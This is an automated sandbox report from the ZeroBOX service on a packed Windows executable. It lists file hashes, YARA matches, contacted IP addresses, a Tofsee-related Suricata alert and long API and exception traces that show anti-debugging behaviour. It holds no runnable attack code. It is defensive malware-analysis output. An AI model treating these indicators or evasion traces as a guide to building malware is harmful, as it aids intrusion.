Summary | ZeroBOX

4603_1642883315_6505.exe

Generic Malware VMProtect Antivirus UPX Malicious Packer PE64 PE32 PE File .NET EXE
Category Machine Started Completed
FILE s1_win7_x6401 Jan. 24, 2022, 9:34 a.m. Jan. 24, 2022, 9:40 a.m.
Size 989.3KB
Type MS-DOS executable
MD5 5105deed61232bfe4bc8fa9f710202a0
SHA256 fa49390bf2e7f3392accfa3203fb803b6bd1d2d5284885a8418f2e78e422de95
CRC32 F6B5A120
ssdeep 24576:ojD10R58t48HBH6ikcNGTpuKomSjdk+PXqGyp:o2DuBJepuKSyFp
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Is_DotNET_EXE - (no description)
  • UPX_Zero - UPX packed file

IP Address Status Action
164.124.101.2 Active Moloch
176.9.247.226 Active Moloch
182.162.106.32 Active Moloch
62.182.159.86 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49164 -> 176.9.247.226:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLS 1.2
192.168.56.101:49164
176.9.247.226:443
C=US, O=Let's Encrypt, CN=R3 CN=uploadgram.me 56:11:94:2e:1a:b0:1e:f3:08:41:2a:00:24:e8:73:7f:b5:33:de:b0

Time & API Arguments Status Return Repeated

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041eb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041eb90
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041e290
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041ecd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041ecd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041e290
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041ec10
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0041dfd0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000368920
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bcd90
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bcd90
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bcd90
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bcd90
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bcd90
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bc8c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bc8c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bc8c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bc8c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bd0a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bd0a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00000000003bd0a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316020
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316020
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316020
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316170
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316100
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316100
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316100
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316100
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316100
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316020
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316020
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316100
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316100
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000316100
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000368ca0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0000000000368ca0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001b506020
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001b506020
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001b506b80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001b506b80
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x000000001b506db0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
file C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
section .gfids
section CODE
resource name PNG
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5

exception.instruction_r: 8b 10 eb 02 89 40 64 8f 00 eb 03 8e 8a 2d 83 c4
exception.symbol: 4603_1642883315_6505+0xbe062
exception.instruction: mov edx, dword ptr [eax]
exception.module: 4603_1642883315_6505.exe
exception.exception_code: 0xc0000005
exception.offset: 778338
exception.address: 0x112e062
registers.esp: 1374432
registers.edi: 0
registers.eax: 0
registers.ebp: 1374452
registers.edx: 18014208
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
1 0 0

__exception__

stacktrace:
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5

exception.instruction_r: 8b 00 eb 03 83 4f 7b 64 8f 00 eb 02 0d 94 83 c4
exception.symbol: 4603_1642883315_6505+0xbee47
exception.instruction: mov eax, dword ptr [eax]
exception.module: 4603_1642883315_6505.exe
exception.exception_code: 0xc0000005
exception.offset: 781895
exception.address: 0x112ee47
registers.esp: 1374400
registers.edi: 0
registers.eax: 0
registers.ebp: 1374452
registers.edx: 4294901775
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: cd 01 40 40 eb 04 a0 8e 22 72 85 c0 eb 02 36 e7
exception.symbol: 4603_1642883315_6505+0xd4f0a
exception.instruction: int 1
exception.module: 4603_1642883315_6505.exe
exception.exception_code: 0xc0000005
exception.offset: 872202
exception.address: 0x1144f0a
registers.esp: 1374392
registers.edi: 18108028
registers.eax: 0
registers.ebp: 4293035867
registers.edx: 0
registers.ebx: 18015759
registers.esi: 18015759
registers.ecx: 18108264
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: 8b 0a eb 03 2a 4c 4b e9 65 fe ff ff eb 03 b8 dd
exception.symbol: 4603_1642883315_6505+0xc0c1c
exception.instruction: mov ecx, dword ptr [edx]
exception.module: 4603_1642883315_6505.exe
exception.exception_code: 0xc0000005
exception.offset: 789532
exception.address: 0x1130c1c
registers.esp: 1374400
registers.edi: 18099432
registers.eax: 0
registers.ebp: 4293041264
registers.edx: 0
registers.ebx: 8519680
registers.esi: 18015759
registers.ecx: 58050
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: 0f 0b eb 03 2d 80 51 0f 0b eb 02 e9 2f e9 7d 02
exception.symbol: 4603_1642883315_6505+0xc07dc
exception.instruction: ud2
exception.module: 4603_1642883315_6505.exe
exception.exception_code: 0xc000001d
exception.offset: 788444
exception.address: 0x11307dc
registers.esp: 1374400
registers.edi: 8912896
registers.eax: 4170796376
registers.ebp: 4293041264
registers.edx: 8912896
registers.ebx: 8519680
registers.esi: 8913288
registers.ecx: 0
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc0c40 @ 0x1130c40

exception.instruction_r: 0f 0b eb 04 b8 e9 74 8f 0f 0b eb 04 1a 88 2b 45
exception.instruction: ud2
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x8817c2
registers.esp: 1374064
registers.edi: 8524416
registers.eax: 0
registers.ebp: 1374380
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 235
1 0 0

__exception__

stacktrace:
RtlDosSearchPath_Ustr+0xada RtlCaptureContext-0x72 ntdll+0x46ab9 @ 0x77686ab9
RtlDosSearchPath_Ustr+0xaac RtlCaptureContext-0xa0 ntdll+0x46a8b @ 0x77686a8b
New_ntdll_RtlDispatchException@8+0xf6 New_ntdll_RtlRemoveVectoredContinueHandler@4-0x23 @ 0x73eb482b
KiUserExceptionDispatcher+0xf KiRaiseUserExceptionDispatcher-0x41 ntdll+0x10143 @ 0x77650143
4603_1642883315_6505+0xc0c40 @ 0x1130c40

exception.instruction_r: f7 f0 eb 04 1a 9e d1 e9 eb 03 c6 2a 3b eb 05 89
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x881941
registers.esp: 1372272
registers.edi: 0
registers.eax: 0
registers.ebp: 1372288
registers.edx: 18023899
registers.ebx: 8919257
registers.esi: 0
registers.ecx: 1372940
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc86e6 @ 0x11386e6
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc0c40 @ 0x1130c40

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x4001000a
exception.offset: 46887
exception.address: 0x760cb727
registers.esp: 1373944
registers.edi: 8543772
registers.eax: 1373944
registers.ebp: 1374024
registers.edx: 0
registers.ebx: 8913288
registers.esi: 8933188
registers.ecx: 4
1 0 0

__exception__

stacktrace:
0x884fd0
4603_1642883315_6505+0xc0c40 @ 0x1130c40

exception.instruction_r: 0f 3f 07 0b c7 45 fc ff ff ff ff 33 c0 33 d2 39
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x885140
registers.esp: 1374040
registers.edi: 8544528
registers.eax: 1
registers.ebp: 1374052
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 2020557398
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc0c40 @ 0x1130c40

exception.instruction_r: 8b 00 90 90 f8 eb 03 25 f3 af 73 48 eb 05 28 87
exception.instruction: mov eax, dword ptr [eax]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x885000
registers.esp: 1374064
registers.edi: 8544528
registers.eax: 0
registers.ebp: 1374380
registers.edx: 2
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 2130563072
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc0c40 @ 0x1130c40

exception.instruction_r: 90 f8 eb 03 25 f3 af 73 48 eb 05 28 87 a6 d9 9d
exception.instruction: nop
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x885003
registers.esp: 1374064
registers.edi: 8544528
registers.eax: 0
registers.ebp: 1374380
registers.edx: 2
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 2130563072
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc0c40 @ 0x1130c40

exception.instruction_r: cd 01 40 40 eb 03 bf 41 e1 85 c0 eb 04 be d7 63
exception.instruction: int 1
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x885374
registers.esp: 1374064
registers.edi: 8549240
registers.eax: 0
registers.ebp: 1374380
registers.edx: 8934482
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 18023899
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc0c40 @ 0x1130c40

exception.instruction_r: cc eb 04 32 80 0d b6 33 c9 78 8d 8b 43 70 eb 02
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x885388
registers.esp: 1374060
registers.edi: 8550112
registers.eax: 0
registers.ebp: 1374380
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 1374060
registers.ecx: 183
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: 8b 0a eb 02 08 45 e9 41 02 00 00 eb 03 f7 a3 9a
exception.symbol: 4603_1642883315_6505+0xc3102
exception.instruction: mov ecx, dword ptr [edx]
exception.module: 4603_1642883315_6505.exe
exception.exception_code: 0xc0000005
exception.offset: 798978
exception.address: 0x1133102
registers.esp: 1374400
registers.edi: 8574976
registers.eax: 92
registers.ebp: 4293047306
registers.edx: 0
registers.ebx: 8519680
registers.esi: 8913288
registers.ecx: 0
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc2d40 @ 0x1132d40

exception.instruction_r: f7 f1 eb 01 30 e9 a0 05 00 00 eb 02 80 5f 8b 4d
exception.symbol: 4603_1642883315_6505+0xc292a
exception.instruction: div ecx
exception.module: 4603_1642883315_6505.exe
exception.exception_code: 0xc0000094
exception.offset: 796970
exception.address: 0x113292a
registers.esp: 1374288
registers.edi: 8574976
registers.eax: 3358322777
registers.ebp: 1374380
registers.edx: 18036428
registers.ebx: 8913288
registers.esi: 17235968
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: 0f 0b eb 02 29 87 0f 0b eb 03 39 8b d2 e9 2b f6
exception.symbol: 4603_1642883315_6505+0xc3276
exception.instruction: ud2
exception.module: 4603_1642883315_6505.exe
exception.exception_code: 0xc000001d
exception.offset: 799350
exception.address: 0x1133276
registers.esp: 1374400
registers.edi: 8810020
registers.eax: 8810020
registers.ebp: 4293047306
registers.edx: 2130566132
registers.ebx: 8519680
registers.esi: 8913288
registers.ecx: 1880686592
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: cd 68 eb 03 3a 1d cc 66 3d 86 f3 eb 04 69 7c 6f
exception.instruction: int 0x68
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x88e703
registers.esp: 1374064
registers.edi: 8824804
registers.eax: 17152
registers.ebp: 1374380
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 203
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f 0b eb 04 b8 e9 74 8f 0f 0b eb 04 1a 88 2b 45
exception.instruction: ud2
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x88f16e
registers.esp: 1374064
registers.edi: 8829052
registers.eax: 0
registers.ebp: 1374380
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 235
1 0 0

__exception__

stacktrace:
RtlDosSearchPath_Ustr+0xada RtlCaptureContext-0x72 ntdll+0x46ab9 @ 0x77686ab9
RtlDosSearchPath_Ustr+0xaac RtlCaptureContext-0xa0 ntdll+0x46a8b @ 0x77686a8b
New_ntdll_RtlDispatchException@8+0xf6 New_ntdll_RtlRemoveVectoredContinueHandler@4-0x23 @ 0x73eb482b
KiUserExceptionDispatcher+0xf KiRaiseUserExceptionDispatcher-0x41 ntdll+0x10143 @ 0x77650143
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 04 1a 9e d1 e9 eb 03 c6 2a 3b eb 05 89
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x88f2ed
registers.esp: 1372272
registers.edi: 0
registers.eax: 0
registers.ebp: 1372288
registers.edx: 18023899
registers.ebx: 8974981
registers.esi: 0
registers.ecx: 1372940
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: cd 01 40 40 eb 03 bf 41 e1 85 c0 eb 04 be d7 63
exception.instruction: int 1
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x88f168
registers.esp: 1374064
registers.edi: 8830520
registers.eax: 0
registers.ebp: 1374380
registers.edx: 8974918
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 18023899
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f b7 53 06 eb 03 a1 ab 66 c1 e2 10 eb 05 c7 71
exception.instruction: movzx edx, word ptr [ebx + 6]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x8903f4
registers.esp: 1374048
registers.edi: 8913288
registers.eax: 0
registers.ebp: 1374076
registers.edx: 1374068
registers.ebx: 10446168
registers.esi: 4293105448
registers.ecx: 15
1 0 0

__exception__

stacktrace:
0x8903f4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 0f 3f 07 0b c7 45 fc ff ff ff ff 33 c0 33 d2 39
exception.exception_code: 0xc000001d
exception.symbol:
exception.address: 0x890564
registers.esp: 1374040
registers.edi: 8836504
registers.eax: 1
registers.ebp: 1374052
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 2020557398
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 8b 00 90 90 f8 eb 03 25 f3 af 73 48 eb 05 28 87
exception.instruction: mov eax, dword ptr [eax]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x890424
registers.esp: 1374064
registers.edi: 8836504
registers.eax: 0
registers.ebp: 1374380
registers.edx: 2
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 2130563072
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 90 f8 eb 03 25 f3 af 73 48 eb 05 28 87 a6 d9 9d
exception.instruction: nop
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x890427
registers.esp: 1374064
registers.edi: 8836504
registers.eax: 0
registers.ebp: 1374380
registers.edx: 2
registers.ebx: 8913288
registers.esi: 4293105448
registers.ecx: 2130563072
1 0 0

__exception__

stacktrace:
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x766e33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77679ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77679ea5

exception.instruction_r: cc eb 05 89 9a 53 12 b0 eb 03 15 db bb eb 05 da
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x88f60a
registers.esp: 17038824
registers.edi: 1987096830
registers.eax: 0
registers.ebp: 17038884
registers.edx: 8916600
registers.ebx: 8913288
registers.esi: 17038824
registers.ecx: 0
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 8b c2 eb 05 ea 76 34 da cd 55 8b 60 83 6c 24 20
exception.instruction: mov eax, edx
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x895b71
registers.esp: 1374052
registers.edi: 8854536
registers.eax: 0
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: cc eb 05 c1 a0 bd 0f df 5e 5b 8b e5 5d c3 eb 05
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x895ab8
registers.esp: 1374052
registers.edi: 8854536
registers.eax: 0
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: 8b c2 eb 05 ea 76 34 da cd 55 8b 60 83 6c 24 20
exception.instruction: mov eax, edx
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x895b71
registers.esp: 1374052
registers.edi: 8854536
registers.eax: 0
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: cc eb 05 c1 a0 bd 0f df 5e 5b 8b e5 5d c3 eb 05
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x895ab8
registers.esp: 1374052
registers.edi: 8854536
registers.eax: 18023900
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.instruction_r: f7 f0 eb 02 1b 76 eb 03 3e ca 24 cc eb 05 c1 a0
exception.instruction: div eax
exception.exception_code: 0xc0000094
exception.symbol:
exception.address: 0x895aad
registers.esp: 1374052
registers.edi: 8854536
registers.eax: 0
registers.ebp: 1374076
registers.edx: 18023899
registers.ebx: 8913288
registers.esi: 9001216
registers.ecx: 10
1 0 0

__exception__

stacktrace:
4603_1642883315_6505+0xd74e4 @ 0x11474e4
4603_1642883315_6505+0xc3de0 @ 0x1133de0

exception.symbol:
exception.exception_code: 0xc0000005
exception.address: 0x0
registers.esp: 1374052
registers.edi: 8854536
registers.eax: 0
registers.ebp: 1374076
